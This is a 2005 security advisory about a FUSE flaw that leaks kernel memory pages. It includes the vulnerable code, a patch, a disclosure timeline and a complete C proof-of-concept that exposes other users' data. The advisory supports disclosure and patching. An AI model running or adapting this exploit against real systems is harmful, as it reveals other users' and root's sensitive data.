[UNIX] FUSE Information Disclosure

SecuriTeam <[email protected]>
Newsgroups gmane.comp.security.securiteam
Message-ID <[email protected]>
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  FUSE Information Disclosure
------------------------------------------------------------------------


SUMMARY

" <http://fuse.sourceforge.net/> FUSE makes it possible to implement a 
filesystem in a userspace program. Features include: simple yet 
comprehensive API, secure mounting by non-root users, support for 2.4 and 
2.6 Linux kernels, multi-threaded operation. etc..."

Lack of range validation in FUSE allows attackers to reveal information 
from the file system regardless of the user permissions.

DETAILS

Vulnerable Systems:
 * FUSE version 2.2.9 and prior
 * Linux kernel 2.2
 * Linux kernel 2.2.1
 * Linux kernel 2.3-pre all sub versions
 * Linux kernel 2.3-rc1
 * Linux kernel 2.4 family
 * Linux kernel 2.6 family

Immune Systems:
 * FUSE version 2.3.0

Vulnerable Code:
In kernel/dev.c the function fuse_copy_pages receives the parameter 
nbytes.  If the parameter nbytes is equal to zero, attackers can obtain 
sensitive information from other pages then the current one, including 
root and other users.

kernel/dev.c:
static int fuse_copy_pages(struct fuse_copy_state *cs, unsigned nbytes,
                           int zeroing)
{
        unsigned i;
        struct fuse_req *req = cs->req;
        unsigned offset = req->page_offset;
        unsigned count = min(nbytes, (unsigned) PAGE_SIZE - offset);

        for (i = 0; i < req->num_pages && nbytes; i++) { // <--- nbytes
can be 0
                struct page *page = req->pages[i];
                int err = fuse_copy_page(cs, page, offset, count, 
zeroing);
                if (err)
                        return err;

                nbytes -= count;
                count = min(nbytes, (unsigned) PAGE_SIZE);
                offset = 0;
        }
        return 0;
}

static inline int fuse_copy_page(struct fuse_copy_state *cs, struct page
*page,
                                 unsigned offset, unsigned count, int 
zeroing)
{
        if (page && zeroing && count < PAGE_SIZE) {
                void *mapaddr = kmap_atomic(page, KM_USER1);
                memset(mapaddr, 0, PAGE_SIZE);
                kunmap_atomic(mapaddr, KM_USER1);
        }

        ....
}

kernel/file.c:
static int fuse_readpage(struct file *file, struct page *page)
{
        ....

        req->num_pages = 1;
        req->pages[0] = page;
        req->out.page_zeroing = 1;

        ....
}

Workaround:
Install the patch or update to fuse-2.3.0.

Patch:
Index: linux/fs/fuse/dev.c
-==================================================================
--- linux.orig/fs/fuse/dev.c    2005-06-01 12:22:08.000000000 +0200
+++ linux/fs/fuse/dev.c 2005-06-02 11:10:08.000000000 +0200
@@ -525,7 +525,7 @@ static int fuse_copy_pages(struct fuse_c
        unsigned offset = req->page_offset;
        unsigned count = min(nbytes, (unsigned) PAGE_SIZE - offset);

-       for (i = 0; i < req->num_pages && nbytes; i++) {
+       for (i = 0; i < req->num_pages && (nbytes || zeroing); i++) {
                struct page *page = req->pages[i];
                int err = fuse_copy_page(cs, page, offset, count, 
zeroing);
                if (err)

Exploit:
/*
    memfs.c: Proof of concept exploit for FUSE < 2.3.0
    
    memfs.c is based on fuse/example/hello.c from Miklos Szeredi
    
    Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt
    
    Build: Copy memfs.c over hello.c and run make in the fuse base 
directory
    
    Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat 
/mnt/getmem/memfs ;
           If you see random bytes you are vulnerable.
           
    Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005
    
    FUSE: Filesystem in Userspace
    Copyright (C) 2001-2005  Miklos Szeredi <[email protected]>

    This program can be distributed under the terms of the GNU GPL.
*/

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>

static const char *memfs_str = "";
static const char *memfs_path = "/memfs";

static int memfs_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));
    if(strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    }
    else if(strcmp(path, memfs_path) == 0) {
        stbuf->st_mode = S_IFREG | 0444;
        stbuf->st_nlink = 1;
        stbuf->st_size = 4223;
    }
    else
        res = -ENOENT;

    return res;
}

static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t 
filler)
{
    if(strcmp(path, "/") != 0)
        return -ENOENT;

    filler(h, ".", 0, 0);
    filler(h, "..", 0, 0);
    filler(h, memfs_path + 1, 0, 0);

    return 0;
}

static int memfs_open(const char *path, struct fuse_file_info *fi)
{
    if(strcmp(path, memfs_path) != 0)
        return -ENOENT;

    if((fi->flags & 3) != O_RDONLY)
        return -EACCES;

    return 0;
}

static int memfs_read(const char *path, char *buf, size_t size, off_t 
offset,
                      struct fuse_file_info *fi)
{
    size_t len;
    (void) fi;
    if(strcmp(path, memfs_path) != 0)
        return -ENOENT;

    len = strlen(memfs_str);
    if (offset < len) {
        if (offset + size > len)
            size = len - offset;
        memcpy(buf, memfs_str + offset, size);
    } else
        size = 0;

    return size;
}

static struct fuse_operations memfs_oper = {
    .getattr = memfs_getattr,
    .getdir = memfs_getdir,
    .open = memfs_open,
    .read = memfs_read,
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &memfs_oper);
}

/* EOF */

Disclosure Timeline:
2005-06-01 issue found by Sven Tantau
2005-06-02 vendor contacted
2005-06-02 quick vendor reaction with confirmation, patch and public 
disclosure
2005-06-06 release of this advisory + exploit


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Sven 
Tantau .
The original article can be found at:  
<http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt> 
http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.